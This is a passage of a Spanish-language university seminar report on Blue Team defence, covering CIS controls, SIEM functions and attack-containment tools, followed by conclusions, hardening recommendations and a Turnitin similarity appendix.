En cuanto al alcance, el equipo Blue Team cubre un espectro méas amplio y continuo de
actividades defensivas y de mejora, mientras que el CSIRT se concentra en la gestion del ciclo
de vida del incidente, desde su deteccion hasta su cierre formal, por ende el equipo Blue Team
opera con una perspectiva tactica y estratégica de largo plazo, mientras que el CSIRT opera bajo
presion, en tiempos reducidos y con procedimientos orientados a contener dafos de manera

inmediata.

Empleabilidad de un CIS “Center For Internet Security” dentro de un equipo Blue Team

Dentro de un equipo Blue Team, el Center for Internet Security - CIS se utiliza como un
marco de referencia técnico y metodoldgico orientado al fortalecimiento de la postura defensiva
de la organizacion, su principal finalidad es proporcionar estandares, guias y controles de
seguridad que permitan establecer configuraciones seguras, reducir la superficie de ataque y
garantizar una defensa proactiva basada en mejores practicas internacionalmente aceptadas.

(Security, 2021)
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En este sentido, el CIS se emplea para implementar los “Critical Security Controls”, un
conjunto priorizado de medidas disenadas para prevenir, detectar y mitigar amenazas
informaticas, estas directrices facilitan la identificacion de activos, la gestion de
vulnerabilidades, la implementacion de controles de acceso y la proteccion de entornos criticos,
contribuyendo asi a la construccion de una arquitectura defensiva robusta y coherente. (Janwar,
2016)

Asimismo, el equipo Blue Team utiliza los CIS Benchmarks, los cuales consisten en
guias detalladas de configuracion segura para sistemas operativos, bases de datos, servicios en la
nube, componentes de red y aplicaciones, estas guias permiten ejecutar procesos de hardening
estandarizados, realizar auditorias de configuracion y asegurar que las plataformas tecnologicas

operen de acuerdo con pardmetros de seguridad validados por la comunidad especializada.

Funciones y caracteristicas principales de un SIEM.

Un Security Information and Event Management — SIEM, es una solucion tecnologica
fundamental dentro de la gestion de la ciberseguridad organizacional, su proposito es centralizar,
analizar y correlacionar datos provenientes de distintos sistemas, con el fin de detectar amenazas,
facilitar la respuesta a incidentes y fortalecer los mecanismos de defensa, estas herramientas se
han convertido en un componente esencial dentro de los Centros de Operaciones de Seguridad -
SOC, dada su capacidad para generar una vision unificada y en tiempo real del estado de
seguridad de la infraestructura tecnoldgica, unas de las funciones principales del SIEM son:

o La recoleccion automatizada de registros provenientes de multiples fuentes, como
firewalls, servidores, sistemas operativos, aplicaciones, redes, soluciones antimalware e

infraestructura en la nube.
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. Incorpora motores de correlacion que permiten relacionar eventos independientes
para identificar patrones que podrian indicar un comportamiento malicioso.

o Analiza de manera continua los eventos entrantes para identificar actividades
sospechosas o fuera de los parametros normales.

. Identifica un evento o patron que cumple con los criterios de riesgo, emite alertas
priorizadas segun criticidad y contexto.

J Analisis posterior a un incidente, permitiendo reconstruir la secuencia de eventos
mediante, lineas de tiempo detalladas, busquedas avanzadas y visualizacion de patrones de
actividad.

o Modulos dedicados a la creacion de informes automatizados para evidenciar el

cumplimiento de politicas internas y regulaciones externas.

Herramientas de contencion de ataques informadticos “hardware o software”.

. Los Firewalls de Proxima Generacion NGFW, constituyen una de las principales
herramientas de contencion dentro de la arquitectura de ciberseguridad, su funcidn esencial
radica en bloquear o limitar el trafico malicioso mediante la aplicacion de politicas estrictas de
control en la capa de red, transporte y aplicacion, a diferencia de los firewalls tradicionales, los
NGFW integran funcionalidades avanzadas como inspeccion profunda de paquetes DPI, filtrado
basado en aplicaciones, sistemas de prevencion de intrusiones IPS y control granular de usuarios.

Desde la perspectiva de la contencidn, estos dispositivos permiten interrumpir el avance
de un ataque mediante el bloqueo de direcciones IP maliciosas, cierre de puertos, restriccion del
acceso a servicios comprometidos y segmentacion de red, reduciendo asi la superficie de ataque

y evitando la propagacion lateral.
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. Un Sistema de Prevencion de Intrusiones IPS, se configura como una herramienta
estrictamente orientada a la contencidn activa, a diferencia del IDS herramienta de deteccion, el
IPS actta en linea y es capaz de bloquear automaticamente el trafico malicioso una vez
detectado.

Su operacion se basa en la correlacion de firmas, andlisis heuristico y técnicas de
identificacion de comportamientos no autorizados, en un escenario de ataque en tiempo real, el
IPS puede detener ataques de explotacion, mitigar intentos de escalamiento de privilegios,
bloquear patrones de reconocimiento hostil y prevenir la ejecucion de comandos maliciosos,
actuando como una barrera inmediata entre el atacante y los activos criticos de la organizacion,
el caracter reactivo y automatico de este sistema lo posiciona como una herramienta esencial
para la contencidon temprana de amenazas. (Grimes, 2022)

o Los sistemas de proteccion avanzada de endpoints, especialmente aquellos
basados en tecnologias EDR (Endpoint Detection and Response) con capacidades de contencion,
permiten aislar equipos comprometidos del resto de la red, esta accion de aislamiento es
considerada una de las medidas de contencion mas efectivas, ya que detiene la propagacion del
ataque, impide la comunicacion con servidores de comando y control C2 y limita la capacidad
del adversario para realizar movimientos laterales.

El aislamiento del endpoint puede realizarse de forma automatica o manual, dependiendo
de la criticidad del incidente, de igual manera, estas soluciones pueden suspender procesos
maliciosos, bloquear cargas utiles payloads, revocar credenciales temporales o cerrar sesiones

activas, con el fin de minimizar el dafio mientras se realiza la remediacion forense.
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Evidencias de Sustentacion

En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta
el video de sustentacion disponible en el siguiente enlace:

Video de sustentacion del informe final: https://youtu.be/7JymotU-4NQ
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Conclusiones

En relacion con el objetivo general, orientado a analizar las capacidades técnicas, tacticas
y operativas de los equipos Red Team y Blue Team, los resultados obtenidos evidencian que la
integracion de enfoques ofensivos y defensivos permite una evaluacion integral de la postura de
seguridad de la infraestructura analizada, asi mismo el desarrollo del ejercicio practico demostrd
como la identificacion y explotacion controlada de vulnerabilidades, junto con el analisis de los
mecanismos de respuesta y contencion, contribuyen de manera significativa al fortalecimiento de
la seguridad informatica.

Respecto al primer objetivo especifico, centrado en el andlisis de los fundamentos
tedricos y normativos, se logr6 establecer una comprension clara del marco legal colombiano
aplicable a los delitos informaticos y la proteccion de datos personales, este andlisis permitid
delimitar las responsabilidades éticas y juridicas del profesional en ciberseguridad, garantizando
que las actividades de pentesting y auditoria se desarrollen dentro de un contexto legal y
responsable.

En cumplimiento del segundo objetivo especifico, relacionado con la identificacion y
evaluacion de vulnerabilidades en un entorno simulado, el ejercicio de laboratorio permitio
evidenciar fallos criticos en aplicaciones y configuraciones del sistema operativo, los cuales
facilitaron accesos no autorizados, escalamiento de privilegios y movimientos laterales dentro de
la red, es por ello que los hallazgos confirmaron la efectividad de las pruebas de penetracion
como mecanismo para validar el impacto real de las vulnerabilidades sobre la confidencialidad,
integridad y disponibilidad de la informacion.

Finalmente, en correspondencia con el tercer objetivo especifico, se formularon medidas

de hardening y estrategias de mejora orientadas a la prevencion, deteccion y respuesta ante
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incidentes de seguridad, que dichas recomendaciones, fundamentadas en buenas practicas y
estandares reconocidos, permiten reducir la superficie de ataque y fortalecer la resiliencia de la
infraestructura tecnologica frente a amenazas futuras.

En sintesis, el desarrollo del informe permitié dar cumplimiento integral de acuerdo a los
objetivos planteados, articulando de manera coherente los aspectos tedricos, legales y practicos,
y aportando un analisis técnico riguroso que refuerza la importancia del trabajo coordinado entre

los equipos Red Team y Blue Team en la gestion efectiva de la seguridad de la informacion..
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Recomendaciones

Con base en los resultados obtenidos a lo largo del analisis tedrico, normativo y practico
desarrollado en el presente informe, se formulan las siguientes recomendaciones orientadas al
fortalecimiento de la seguridad de la informacion y a la mejora de las capacidades operativas de
los equipos Red Team y Blue Team:

Fortalecer los procesos de gestion de vulnerabilidades, mediante la implementacion de
programas formales y continuos de identificacion, evaluacion y remediacion de fallos de
seguridad, estos procesos deben incluir escaneos periddicos, analisis manual de vulnerabilidades
criticas y la priorizacion de riesgos de acuerdo con su impacto sobre la confidencialidad,
integridad y disponibilidad de la informacion.

Implementar politicas estrictas de gestion de parches y actualizacion de software, con el
fin de reducir la exposicion a vulnerabilidades conocidas, asi mismo se recomienda establecer
cronogramas de actualizacion, controles de verificacion y mecanismos de seguimiento que
aseguren la eliminacion oportuna de aplicaciones obsoletas o sin soporte, especialmente aquellas
expuestas a redes internas o externas.

Reforzar las medidas de hardening en sistemas operativos, aplicaciones y servicios,
aplicando configuraciones seguras basadas en estandares reconocidos como los CIS
Benchmarks, incluyendo la deshabilitacion de servicios innecesarios, el uso de protocolos
seguros, la restriccion de privilegios administrativos y la segmentacion adecuada de la red para
limitar el movimiento lateral de posibles atacantes.

Establecer lineamientos éticos y legales claros para las actividades de ciberseguridad,
garantizando que las pruebas de penetracion y auditorias se desarrollen bajo acuerdos formales

que respeten la legislacion vigente y los principios del codigo de ética profesional, asi mismo, se



recomienda fortalecer la capacitacion del personal en aspectos juridicos y de responsabilidad

profesional.
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Apéndices
Apéndice A
Resultado de revision en Turnitin
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En este espacio puede realizar el envio de los documentos a los que desea verificar el nivel de autenticidad antes de realizar la presentacion formal ante su docente. Recuerde
que puede subir archivos en formato Word, PDF, PowerPoint y el tamafio del archivo es méximo 50Mb.

Cuenta con cinco secciones y por cada una puede enviar un documento para su revisién de forma independiente. Una vez reciba la revisién, puede volver a enviar un
documento diferente o el mismo para realizar una nueva revision

Grupos separados: 1
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4 Titulo del Envio - Identificador del trabajo de Turnitin Enviado Similitud Calificacion Calificacién General
|=) Ver Recibo Digital Etapa5_Fredy_Martinez_v1 2845952548 1411212025 14:02 22% NA - Entregar Trabajo £3 & -
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4

Nota. En esta imagen se puede observar la revision del trabajo por la herramienta Tunitin, para
este caso arroja un porcentaje del 22% siendo la mayoria perteneciente a la estructura de las

preguntas de las guias.



